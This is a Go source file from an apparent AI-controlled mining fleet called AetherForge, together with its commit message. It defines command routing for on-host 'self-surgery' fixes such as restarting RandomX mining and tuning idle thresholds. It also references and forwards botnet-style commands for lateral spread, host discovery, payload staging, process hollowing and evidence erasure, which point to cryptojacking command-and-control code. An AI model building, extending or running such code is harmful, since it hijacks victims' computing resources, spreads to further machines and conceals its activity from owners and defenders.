Files
AetherForge/server/internal/ai/surgical_commands.go
AetherForge fac324ff80
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add mining self-surgery for on-host recovery when AI control detects stalls.
When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.
2026-06-07 09:27:26 -07:00

135 lines
3.7 KiB
Go

package ai
import (
"fmt"
"strings"
)
// Mining-only self-surgery command types (same agent, no spread/lateral).
const (
CmdMiningSelfSurgery = "mining_self_surgery"
CmdContainerRestart = "container_restart"
CmdFallbackChainReorder = "fallback_chain_reorder"
CmdGPUSubprocessSwap = "gpu_subprocess_swap"
CmdIdleThresholdTune = "idle_threshold_tune"
CmdRandomXRestart = "randomx_restart"
)
var miningSelfSurgeryTypes = map[string]bool{
CmdMiningSelfSurgery: true,
CmdContainerRestart: true,
CmdFallbackChainReorder: true,
CmdGPUSubprocessSwap: true,
CmdIdleThresholdTune: true,
CmdRandomXRestart: true,
}
var forbiddenSpreadTypes = map[string]bool{
CmdDiscoverAndJoin: true,
CmdSpreadNow: true,
CmdSpreadGraft: true,
CmdSpreadRetryLane: true,
CmdStageFetch: true,
"discover_join": true,
"process_hollowing": true,
"hollow": true,
}
// IsMiningSelfSurgeryCommand reports on-host mining fix types.
func IsMiningSelfSurgeryCommand(typ string) bool {
return miningSelfSurgeryTypes[normalizeCommandType(typ)]
}
// IsForbiddenSpreadCommand reports lateral/spread command types excluded from self-surgery.
func IsForbiddenSpreadCommand(typ string) bool {
return forbiddenSpreadTypes[normalizeCommandType(typ)]
}
// FilterMiningSelfSurgeryCommands drops spread/lateral commands from a parsed list.
func FilterMiningSelfSurgeryCommands(cmds []Command) []Command {
out := make([]Command, 0, len(cmds))
for _, c := range cmds {
if IsForbiddenSpreadCommand(c.Type) {
continue
}
if IsMiningSelfSurgeryCommand(c.Type) || c.Type == CmdRestartMining || c.Type == CmdReorderTiers || c.Type == CmdSkipTier {
out = append(out, c)
}
}
return out
}
// ExpandSurgicalCommand maps surgical fix types to executable fleet commands.
func ExpandSurgicalCommand(cmd Command) []Command {
switch cmd.Type {
case CmdSpreadRetryLane:
return []Command{ResolveSpreadRetryLane(cmd.Args)}
case CmdSkipTier:
return []Command{ResolveSkipTier(cmd.Args)}
case CmdPersonaTweak, CmdEnableErasure, CmdSpreadGraft:
return []Command{cmd}
case CmdMiningSelfSurgery:
return ExpandMiningSelfSurgery(cmd)
case CmdContainerRestart, CmdFallbackChainReorder, CmdGPUSubprocessSwap, CmdIdleThresholdTune, CmdRandomXRestart:
return []Command{cmd}
default:
return []Command{cmd}
}
}
// ExpandMiningSelfSurgery unwraps a bundled mining_self_surgery command into action steps.
func ExpandMiningSelfSurgery(cmd Command) []Command {
args := cmd.Args
if args == nil {
return []Command{cmd}
}
raw, ok := args["actions"]
if !ok {
return []Command{cmd}
}
var actions []string
switch v := raw.(type) {
case []interface{}:
for _, item := range v {
if s, ok := item.(string); ok && strings.TrimSpace(s) != "" {
actions = append(actions, normalizeCommandType(s))
}
}
case []string:
for _, s := range v {
if strings.TrimSpace(s) != "" {
actions = append(actions, normalizeCommandType(s))
}
}
}
if len(actions) == 0 {
return []Command{cmd}
}
out := make([]Command, 0, len(actions))
for _, action := range actions {
if IsForbiddenSpreadCommand(action) {
continue
}
stepArgs := map[string]interface{}{}
for _, k := range []string{"chain_order", "skip_methods", "idle_threshold_pct", "reason", "trigger"} {
if v, ok := args[k]; ok {
stepArgs[k] = v
}
}
out = append(out, Command{Type: action, Args: stepArgs})
}
return out
}
// FormatSurgicalFixArgs serializes command args for strain memory storage.
func FormatSurgicalFixArgs(cmd Command) string {
if cmd.Args == nil {
return ""
}
parts := make([]string, 0, len(cmd.Args))
for k, v := range cmd.Args {
parts = append(parts, fmt.Sprintf("%s=%v", k, v))
}
return strings.Join(parts, ",")
}